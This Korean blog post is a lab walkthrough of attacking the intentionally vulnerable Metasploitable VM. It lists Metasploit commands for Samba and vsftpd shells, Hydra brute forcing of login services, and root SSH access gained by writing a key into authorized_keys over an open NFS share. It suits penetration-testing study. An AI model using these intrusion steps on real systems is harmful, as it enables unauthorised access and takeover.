2018. 8. 8.

[metasploitable] nmap 이후 발견된 서비스에 대한 공격 테스트


공격 시나리오 : nmap 구동하고 운영 중인 서비스에 대한 모든 공격테스트를 시행한다.

nmap 을 구동하고 나온 결과는 다음과 같다.

# 21번 ftp

p 서비스 
21번

현재 kali linux 에서 meta로 ftp 접속이 되지 않는 상황이다. (원인 파악 필요)

vsftpd 로 검색한 결과 다음의 모듈을 찾았고 바로 쉘이 실행된다.



# 22번 ssh

openssh 4.7 버전을 사용하고 있다.

ssh 192.168.203.130 -l msfadmin 을 입력하면 password 입력하여 로그인 할 수 있다.



hydra 를 이용한 패스워드 무차별 삽입 공격 실패
나중에 원인을 찾도록 한다.


# 23번 telnet

텔넷 서비스 접속을 시도하자 ID/PW 를 묻는다
- telnet 192.168.203.130

hydra 로 무차별 삽입 공격을 수행하자 passwd를 찾았다.





# samba 

nmap 결과로 버전명이 완벽하게 나와있지 않다. 3.x - 4.x 로 되어 있다. 정확한 버전을 알아내기 위해 auxiliary 모듈을 사용한다.

- use auxiliary/scanner/smb/smb_version
- set rhost [tartget ip]
- run


samba 버전이 3.0 이라는 것을 알게되었다. 이 내용으로 metasploit 내에서 search 명령어로 검색해도 되지만 구글에서 samba 3.0 metasploit 이라고 검색하면 내용을 확인 할 수 있다. (username_map_script)

- search username_map_script
- use exploit/multi/samba/usermap_script
- set rhost 192.168.203.130
- run

위 명령어를 통해 쉘을 취득할 수 있다.


# 513번 rlogin 



rlogin 취약점 내용

  • http://coashanee5.blogspot.com/2017/04/r-command.html


tcp port 512, 513, 514 는 r 서비스 이다. 513 rlogin 서비스는 일반 사용자가 특권 계층의 데이터에 접근 할 수 있는 취약점이다. 원격에서는 rlogin 으로 무차별 대입 공격을 할 수 있다.

# 2046번 nfs 

네트워크 파일 시스템(nfs) 에 대한 접근통제가 수행되지 않아 외부에서 공유 자원 목록을 확인 할 수 있다.

원격(kali linux)에서 서비스 설명 정보 출력이 가능하다.
(단, kali linux 기본 설정에서는 rpcinfo, showmount 명령어가 설치 되어 있지 않으니 수동으로 설치 해야한다.

  • sudo apt-get install apt-file
  • sudo apt-file update
  • apt-file search showmount
  • apt-get install nfs-common
)



그러면 이 취약점으로 무엇을 할 수 있을까.
ssh-keygen

ssh key 는 서버에 접속 할 때 비밀번호 대신 key 를 제출 하는 방식이며 이는, 1) 비밀번호보다 높은 수준의 보안을 필요로 할 때, 2) 로그인 없이 자동으로 서버에 접속 할 때 사용된다. 

(참조 https://opentutorials.org/module/432/3742)

ssh-keygen 명령어로 언급된 파일의 설명은 위와 같다. 

mount 명령어를 사용하여 192.168.203.130 파일 시스템을 임의로 만든 /tmp/r00t 디렉터리에 마운트 한다. -t 명령어로 타입을 지정해야한다. 마운트 하면 아래와 같이 metasploitable 의 최상위 폴더의 (/) 파일이 확인된다. 마운트가 정상적으로 된것이다. 
그 후 cat 명령어로 id_ras.pub, 즉 접속하려는 리모트 머신의 인증키를 /tmp/r00t/root/.ssh/authorized_keys에 저장한다.  
cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys  이 명령어로 192.168.203.130 파일의 인증키를 나의 인증키로 대체하는 것이다.


그러면서 ssh 에 접속하게 되면 바로 로그인된다. (root 디렉토리에  id_rsa의 내용이 담겨 있으므로 root@ 라고 입력한다. )

# 3306번 mysql

mysql 비밀번호 설정을 하지 않아서 원격에서 접속이 가능함


# 5432번 postgresql 

postgresql 기본 계정 정보 (postgres/postgres)가 취약하게 설정되어 있어서 외부에서 접속이 가능함


metasploit 으로 공격을 시도 할 수도 있다. 

- use/auxiliary/scanner/postgres/postgres_login
- show options
- set rhosts 192.168.203.130
- set verbose false (whether to print output for all attempts)
- run


hydra 를 이용한 무차별 삽입 공격


** postgres 명령어


postgres=# \dn
스키마(schema) 목록
  이름  |  소유주  
--------+----------
 public | postgres
(1개 행)

postgres=# select version();
                                            version                                            
-----------------------------------------------------------------------------------------------
 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
(1개 행)

postgres-# \l
                   데이터베이스 목록
   이름    |  소유주  | 인코딩 |      액세스 권한      
-----------+----------+--------+-----------------------
 postgres  | postgres | UTF8   | 
 template0 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
 template1 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
(3개 행)

postgres=# select * from pg_user;
 usename  | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valuntil | useconfig 
----------+----------+-------------+----------+-----------+----------+----------+-----------
 postgres |       10 | t           | t        | t         | ******** |          | 
(1개 행)



** 히드라는 아래와 같이 상당히 다수의 프로토콜을 지원한다.
It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

# 5900번 VNC

취약한 패스워드에 대한 무차별 삽입 공격을 시도한다. 

- use auxiliary/scanner/vnc/vnc_login
- show options


- set verbose false
- set rhosts 192.168.203.130
- run



# 8180번 Apache tomcat/Coyote JSP engine 1.1

8180에 tomcat 구동 중이라는 것을 확인하였고 실제 브라우저에서 접속 확인을 한다. 
- firefox 192.168.203.130:8180
- firefox 192.168.203.130:8180/manager/html

metasploit 에서 로그인 공격을 수행 할 것이다. 

- search tomcat
- use auxiliary/scanner/http/tomcat_mgr_login
- set rhosts 192.168.203.130
- set rposts 8180
- run





# 참조
  • https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide

Popular Posts

Recent Posts

Powered by Blogger.